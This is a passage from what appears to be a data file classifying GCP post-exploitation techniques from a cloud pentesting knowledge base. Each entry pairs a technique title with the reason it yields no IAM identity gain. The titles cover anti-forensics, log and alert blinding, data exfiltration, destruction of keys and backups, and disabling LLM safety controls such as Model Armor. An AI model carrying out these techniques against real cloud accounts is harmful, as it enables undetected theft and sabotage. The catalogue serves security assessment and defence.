src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubtopicscreate--pubsubtopicsupdate--import-topic-cloud-storage-ingestion-message-injection + technique: pubsub.topics.create / pubsub.topics.update — import-topic (Cloud Storage ingestion) message injection + reason: Ingests attacker messages, but identity gain depends on a consumer vulnerability or application-specific command interpretation. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubsnapshotscreate-pubsubsnapshotsseek + technique: pubsub.snapshots.create, pubsub.snapshots.seek + reason: message replay (data); any execution or credential use depends on application-specific runtime behavior. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubtopicsdetachsubscription + technique: pubsub.topics.detachSubscription + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubtopicsdelete + technique: pubsub.topics.delete + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubsubscriptionsdelete + technique: pubsub.subscriptions.delete + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubschemasattach-pubsubtopicsupdatepubsubschemascreate + technique: pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create) + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md#pubsubsubscriptionsconsume--destroy-a-backlog-with-seek---time-silent-by-default + technique: pubsub.subscriptions.consume — destroy a backlog with seek --time (silent by default) + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cx-agent-studio-post-exploitation.md#cesconversationslistget--harvest-transcripts-and-tool-traces + technique: ces.conversations.list/get — harvest transcripts and tool traces + reason: 'No configuration-derived second identity: transcript data read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cx-agent-studio-post-exploitation.md#cesguardrailsupdatedelete--weaken-application-safety-controls + technique: ces.guardrails.update/delete — weaken application safety controls + reason: 'No configuration-derived second identity: app safety control bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-managed-flink-enum.md#bigquery-engine-for-apache-flink-managedflinkgoogleapiscom + technique: BigQuery Engine for Apache Flink (managedflink.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-policy-troubleshooter-enum.md#policy-troubleshooter-policytroubleshootergoogleapiscom + technique: Policy Troubleshooter (policytroubleshooter.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-observability-enum.md#google-cloud-observability-observabilitygoogleapiscom + technique: Google Cloud Observability (observability.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-oracle-database-enum.md#oracle-databasegoogle-cloud-oracledatabasegoogleapiscom + technique: Oracle Database@Google Cloud (oracledatabase.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-parameter-manager-enum.md#parameter-manager-parametermanagergoogleapiscom + technique: Parameter Manager (parametermanager.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-telemetry-enum.md#telemetry-otlp-api-telemetrygoogleapiscom + technique: Telemetry (OTLP) API (telemetry.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-private-catalog-enum.md#private-catalog-cloudprivatecataloggoogleapiscom--cloudprivatecatalogproducergoogleapiscom + technique: Private Catalog (cloudprivatecatalog.googleapis.com / cloudprivatecatalogproducer.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-security-command-center-enum.md#security-command-center-securitycentergoogleapiscom--securitycentermanagementgoogleapiscom + technique: Security Command Center (securitycenter.googleapis.com / securitycentermanagement.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-sensitive-data-protection-dlp-enum.md#sensitive-data-protection--dlp-dlpgoogleapiscom + technique: Sensitive Data Protection / DLP (dlp.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-web-security-scanner-enum.md#web-security-scanner-websecurityscannergoogleapiscom + technique: Web Security Scanner (websecurityscanner.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-recaptcha-enterprise-enum.md#recaptcha-enterprise-recaptchaenterprisegoogleapiscom + technique: reCAPTCHA Enterprise (recaptchaenterprise.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-search-enum.md#vertex-ai-search--agent-builder-discoveryenginegoogleapiscom + technique: Vertex AI Search / Agent Builder (discoveryengine.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-vpc-service-controls-enum.md#vpc-service-controls-accesscontextmanagergoogleapiscom + technique: VPC Service Controls (accesscontextmanager.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-migration-center-enum.md#enumeration-read-only--rolesmigrationcenterviewer + technique: Enumeration (read-only — roles/migrationcenter.viewer) + reason: Inventory or context; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-migration-center-enum.md#migrationcenterassetsgetlist--cross-cloud-estate-recon-highest-value + technique: migrationcenter.assets.get/.list — cross-cloud estate recon (highest value) + reason: Cross-cloud inventory only; no other identity. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-pam-enum.md#privileged-access-manager-privilegedaccessmanagergoogleapiscom + technique: Privileged Access Manager (privilegedaccessmanager.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-managed-microsoft-ad-enum.md#managed-service-for-microsoft-active-directory-managedidentitiesgoogleapiscom + technique: Managed Service for Microsoft Active Directory (managedidentities.googleapis.com) + reason: Context, data access, control tampering, or recon; no independently documented identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-gke-post-exploitation.md#containerclustersupdate--disable-gke-loggingmonitoring-components-anti-forensics + technique: container.clusters.update — disable GKE logging/monitoring components (anti-forensics) + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-integration-connectors-post-exploitation.md#rolesconnectorsinvoker--rolesconnectorslistener--use-a-connections-stored-credentials + technique: roles/connectors.invoker / roles/connectors.listener — use a connection's stored credentials + reason: Connection uses a configured third-party backend credential for data operations; no GCP IAM principal is obtained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firebase-data-connect-post-exploitation.md#connectorsimpersonatequery--impersonatemutation--run-operations-as-any-end-user + technique: connectors.impersonateQuery / .impersonateMutation — run operations as any end-user + reason: Firebase application end-user context; does not grant a GCP IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firebase-data-connect-post-exploitation.md#servicesexecutegraphql--admin-graphql--full-data-readwrite-bypassing-auth + technique: services.executeGraphql — admin GraphQL → full data read/write, bypassing @auth + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-google-secops-post-exploitation.md#chronicleeventsudmsearch--chronicleeventssearchrawlogs--search-accessible-telemetry-for-secrets-and-topology + technique: chronicle.events.udmSearch / chronicle.events.searchRawLogs — search accessible telemetry for secrets and topology + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-google-secops-post-exploitation.md#chroniclereferencelistsupdate--chronicledatatablerowscreate--poison-rule-lookup-data + technique: chronicle.referenceLists.update / chronicle.dataTableRows.create — poison rule lookup data + reason: Application data/configuration mutation; no configured GCP principal identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-google-secops-post-exploitation.md#chroniclecasesclose--close-active-soar-cases-as-not-malicious + technique: chronicle.cases.close — close active SOAR cases as not malicious + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-google-secops-post-exploitation.md#chroniclefeedsdisable--archive-a-feed-and-stop-its-ingestion + technique: chronicle.feeds.disable — archive a feed and stop its ingestion + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-google-secops-post-exploitation.md#chronicleruledeploymentsupdate--stop-a-rule-or-stop-promoting-its-detections-to-alerts + technique: chronicle.ruleDeployments.update — stop a rule or stop promoting its detections to alerts + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-google-secops-post-exploitation.md#chroniclerulesupdate--introduce-an-exclusion-into-detection-logic + technique: chronicle.rules.update — introduce an exclusion into detection logic + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-network-intelligence-center-post-exploitation.md#networkmanagementconnectivitytestslistgetcreatererun--recover-or-generate-internal-path-traces + technique: networkmanagement.connectivitytests.list/get/create/rerun — recover or generate internal path traces + reason: Network path/packet access only; a usable credential or impersonable GCP principal is not configuration-derived. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firestore-post-exploitation.md#datastoredatabasesexport--bulk-data-exfiltration-incl-cross-project-confused-deputy + technique: datastore.databases.export — bulk data exfiltration (incl. cross-project confused deputy) + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firestore-post-exploitation.md#datastoredatabasesclone--pitr-snapshot-clone-into-an-attacker-controlled-database-acl-bypass-exfil + technique: datastore.databases.clone — PITR-snapshot clone into an attacker-controlled database (ACL-bypass exfil) + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firestore-post-exploitation.md#datastoredatabasesimport--data-tampering--privileged-entity-injection + technique: datastore.databases.import — data tampering / privileged-entity injection + reason: Application data/configuration mutation; no configured GCP principal identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firestore-post-exploitation.md#datastoreentitiesgetlist--firestore-security-rules-are-bypassed-by-any-iam-principal + technique: datastore.entities.get/list — Firestore **security rules are bypassed** by any IAM principal + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firestore-post-exploitation.md#datastoredatabasesdelete--irreversible-database-dos + technique: datastore.databases.delete — irreversible database DoS + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-firestore-post-exploitation.md#datastoredatabasesupdate--disable-delete-protection--pitr-defense-evasion-precursor + technique: datastore.databases.update — disable delete-protection / PITR (defense-evasion precursor) + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-looker-post-exploitation.md#lookerinstancesexport--export-instance-data-to-controlled-storage-and-kms-resources + technique: looker.instances.export — export instance data to controlled Storage and KMS resources + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-gemini-cloud-assist-post-exploitation.md#geminicloudassistinvestigationsrevisionsgetlist--harvest-troubleshooting-evidence-and-history + technique: geminicloudassist.investigations/revisions.get/list — harvest troubleshooting evidence and history + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-gemini-cloud-assist-post-exploitation.md#rolesgeminicloudassistuser--read-objects-from-known-cloud-storage-buckets + technique: roles/geminicloudassist.user — read objects from known Cloud Storage buckets + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-model-armor-post-exploitation.md#modelarmorfloorsettingsupdate--disable-orgfolderproject-wide-llm-safety-enforcement + technique: modelarmor.floorSettings.update — disable org/folder/project-wide LLM safety enforcement + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-model-armor-post-exploitation.md#modelarmortemplatesupdate--install-catch-all-exclusions-that-return-no_match_found + technique: modelarmor.templates.update — install catch-all exclusions that return NO_MATCH_FOUND + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-memorystore-post-exploitation.md#redis-auth-credential-disclosure---redisinstancesgetauthstring + technique: Redis AUTH credential disclosure - redis.instances.getAuthString + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-memorystore-post-exploitation.md#redis-cluster--data-plane-takeover-via-managed-token-auth-users---redisclustersconnect + technique: Redis Cluster — data-plane takeover via managed token-auth users - redis.clusters.connect + reason: Redis data-plane user/token and keyspace access; no GCP IAM identity is obtained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-memorystore-post-exploitation.md#data-exfiltration-via-rdb-export---redisinstancesexport + technique: Data exfiltration via RDB export - redis.instances.export + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-memorystore-post-exploitation.md#config-tamper--its-limits---redisinstancesupdate + technique: Config tamper & its limits - redis.instances.update + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-kafka-post-exploitation.md#managedkafkaclustersconnect-plus-kafka-read-acls---consume-topic-data + technique: managedkafka.clusters.connect plus Kafka READ ACLs - consume topic data + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-kafka-post-exploitation.md#managedkafkaconnectorscreate--update---stream-a-topic-to-an-attacker-controlled-sink + technique: managedkafka.connectors.create / .update - stream a topic to an attacker-controlled sink + reason: Network path/packet access only; a usable credential or impersonable GCP principal is not configuration-derived. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-kafka-post-exploitation.md#managedkafkaclustersconnect-plus-kafka-write-acls---inject-records + technique: managedkafka.clusters.connect plus Kafka WRITE ACLs - inject records + reason: Application data/configuration mutation; no configured GCP principal identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-kafka-post-exploitation.md#managedkafkatopicsupdate--delete-or-broker-topic-acls---expire-or-destroy-topic-data + technique: managedkafka.topics.update / .delete or broker topic ACLs - expire or destroy topic data + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-kafka-post-exploitation.md#managedkafkaconsumergroupsupdate--delete---rewind-skip-or-erase-committed-offsets + technique: managedkafka.consumerGroups.update / .delete - rewind, skip, or erase committed offsets + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-kafka-post-exploitation.md#managedkafkasubjectsdelete--versionsdelete---disrupt-schema-registry-clients + technique: managedkafka.subjects.delete / versions.delete - disrupt Schema Registry clients + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeyversionsusetoverify + technique: cloudkms.cryptoKeyVersions.useToVerify + reason: Reconnaissance only; no identity or role transition. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeyversionsusetodecapsulate--post-quantum-kem-decrypt-oracle + technique: cloudkms.cryptoKeyVersions.useToDecapsulate — post-quantum KEM decrypt oracle + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeyversionsrestore + technique: cloudkms.cryptoKeyVersions.restore + reason: key restore (data/recovery); no GCP IAM identity gain documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeyversionsusetoencrypt--cloudkmscryptokeyversionsusetoencryptviadelegation + technique: cloudkms.cryptoKeyVersions.useToEncrypt | cloudkms.cryptoKeyVersions.useToEncryptViaDelegation + reason: NON-PRIVESC; no GCP IAM identity gain documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeyversionsusetosign + technique: cloudkms.cryptoKeyVersions.useToSign + reason: Artifact/data integrity effect depends on an external relying application; no configured GCP principal target is documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeyversionsdestroy + technique: cloudkms.cryptoKeyVersions.destroy + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#here-are-the-steps-to-import-a-new-version-and-disabledelete-the-older-data + technique: 'Here are the steps to import a new version and disable/delete the older data:' + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeyversionsupdate + technique: cloudkms.cryptoKeyVersions.update + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#cloudkmscryptokeysupdate--key-access-justifications-zero-access-reasons-lockout-silent-to-version-monitoring-dos + technique: cloudkms.cryptoKeys.update — Key Access Justifications "zero access reasons" lockout (silent-to-version-monitoring DoS) + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-netapp-volumes-post-exploitation.md#netappvolumescreate--clone-data-from-a-snapshot-or-backup + technique: netapp.volumes.create — clone data from a snapshot or backup + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-netapp-volumes-post-exploitation.md#netappontap--use-the-filtered-ontap-management-proxy + technique: netapp.ontap.* — use the filtered ONTAP management proxy + reason: Application data/configuration mutation; no configured GCP principal identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-netapp-volumes-post-exploitation.md#netappvolumesupdate--expose-an-nfs-volume-to-an-attacker-controlled-client-range + technique: netapp.volumes.update — expose an NFS volume to an attacker-controlled client range + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-netapp-volumes-post-exploitation.md#netappvolumesdelete--snapshotsdelete--backupsdelete--destroy-data-and-recovery-points + technique: netapp.volumes.delete / snapshots.delete / backups.delete — destroy data and recovery points + reason: Availability or recovery-point damage; no new principal privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringtimeserieslist--monitoringmetricdescriptorslist--telemetry-reconnaissance + technique: monitoring.timeSeries.list / monitoring.metricDescriptors.list — telemetry reconnaissance + reason: Reconnaissance only; no identity or role transition. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringalertslistget--mine-current-and-historical-policy-violations + technique: monitoring.alerts.list/get — mine current and historical policy violations + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringtimeseriescreate--forge-user-defined-telemetry + technique: monitoring.timeSeries.create — forge user-defined telemetry + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringuptimecheckconfigsupdate--weaken-content-and-status-validation + technique: monitoring.uptimeCheckConfigs.update — weaken content and status validation + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringmetricdescriptorsdelete--disable-a-user-defined-metric + technique: monitoring.metricDescriptors.delete — disable a user-defined metric + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringdashboardsupdate--delete--visual-blinding + technique: monitoring.dashboards.update / .delete — visual blinding + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringnotificationchannelsupdate--delete--stop-alert-delivery + technique: monitoring.notificationChannels.update / .delete — stop alert delivery + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringalertpoliciesupdate--delete--disable-or-remove-detections + technique: monitoring.alertPolicies.update / .delete — disable or remove detections + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md#monitoringslosupdate--delete--weaken-slo-and-burn-rate-monitoring + technique: monitoring.slos.update / .delete — weaken SLO and burn-rate monitoring + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-live-stream-post-exploitation.md#livestreamchannelsget--recover-an-rtmp-distribution-stream-key + technique: livestream.channels.get — recover an RTMP distribution stream key + reason: third-party stream key (data); no GCP IAM identity gain documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-live-stream-post-exploitation.md#livestreamassetscreate--livestreameventscreate--re-host-service-agent-readable-media + technique: livestream.assets.create + livestream.events.create — re-host service-agent-readable media + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-live-stream-post-exploitation.md#livestreaminputsget--inject-content-through-a-disclosed-input-uri + technique: livestream.inputs.get — inject content through a disclosed input URI + reason: media content injection; no GCP IAM identity gain documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-observability-post-exploitation.md#cloudtracetraceslistget-or-observabilityviewsaccess--mine-trace-spans-for-credentials-and-internal-architecture + technique: cloudtrace.traces.list/get or observability.views.access — mine trace spans for credentials and internal architecture + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-observability-post-exploitation.md#observabilitylinkscreate--bigquery-read-permissions--expose-trace-storage-through-bigquery-iam + technique: observability.links.create + BigQuery read permissions — expose trace storage through BigQuery IAM + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-observability-post-exploitation.md#errorreportinggroupslist--errorreportingerroreventslist--mine-stack-traces-and-request-context + technique: errorreporting.groups.list / errorreporting.errorEvents.list — mine stack traces and request context + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-observability-post-exploitation.md#errorreportingerroreventscreate-or-cloudtracetracespatch--inject-misleading-telemetry + technique: errorreporting.errorEvents.create or cloudtrace.traces.patch — inject misleading telemetry + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md#widen-nfs-export-access---fileinstancesupdate + technique: Widen NFS export access - file.instances.update + reason: NFS export widening (data exposure); no GCP IAM identity gain documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#read-log-entries--logginglogentrieslist-and-loggingviewsaccess + technique: Read log entries — logging.logEntries.list and logging.views.access + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#copy-historical-logs-to-cloud-storage--loggingbucketscopylogentries + technique: Copy historical logs to Cloud Storage — logging.buckets.copyLogEntries + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#create-a-linked-bigquery-dataset--logginglinkscreate + technique: Create a linked BigQuery dataset — logging.links.create + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#change-access-to-a-log-view--loggingviewssetiampolicy + technique: Change access to a log view — logging.views.setIamPolicy + reason: Grant is limited to log-view data access; no other principal identity or broader GCP IAM role is obtained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#forge-log-entries--logginglogentriescreate + technique: Forge log entries — logging.logEntries.create + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#blind-a-custom-log-view--loggingviewsupdate + technique: Blind a custom log view — logging.views.update + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#change-a-log-based-metric--logginglogmetricsupdate + technique: Change a log-based metric — logging.logMetrics.update + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#poison-defaults-for-future-projects-and-folders--loggingsettingsupdate + technique: Poison defaults for future projects and folders — logging.settings.update + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#delete-a-log-from-_default--logginglogsdelete + technique: Delete a log from _Default — logging.logs.delete + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#delete-a-log-bucket--loggingbucketsdelete + technique: Delete a log bucket — logging.buckets.delete + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#delete-a-linked-bigquery-dataset--logginglinksdelete + technique: Delete a linked BigQuery dataset — logging.links.delete + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#delete-a-custom-log-view--loggingviewsdelete + technique: Delete a custom log view — logging.views.delete + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#delete-a-log-based-metric--logginglogmetricsdelete + technique: Delete a log-based metric — logging.logMetrics.delete + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#delete-a-log-sink--loggingsinksdelete + technique: Delete a log sink — logging.sinks.delete + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#alter-retention-lock-fields-or-cmek--loggingbucketsupdate + technique: Alter retention, lock, fields, or CMEK — logging.buckets.update + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md#disable-exclude-or-redirect-routing--loggingsinksupdate-and-loggingexclusions + technique: Disable, exclude, or redirect routing — logging.sinks.update and logging.exclusions.* + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-healthcare-post-exploitation.md#healthcaredatasetsdeidentify--stage-a-transformed-copy-without-source-record-read-permissions + technique: healthcare.datasets.deidentify — stage a transformed copy without source record-read permissions + reason: Reads or copies data/possible secrets; no concrete configuration-derived GCP principal is identified. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-healthcare-post-exploitation.md#healthcarefhirstoresupdate--disable-fhir-consent-enforcement + technique: healthcare.fhirStores.update — disable FHIR consent enforcement + reason: Changes monitoring or application controls; no GCP IAM principal or role is gained. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-data-connect-enum.md#firebase-data-connect-firebasedataconnectgoogleapiscom + technique: Firebase Data Connect (firebasedataconnect.googleapis.com) + reason: Service context, inventory, or authorization 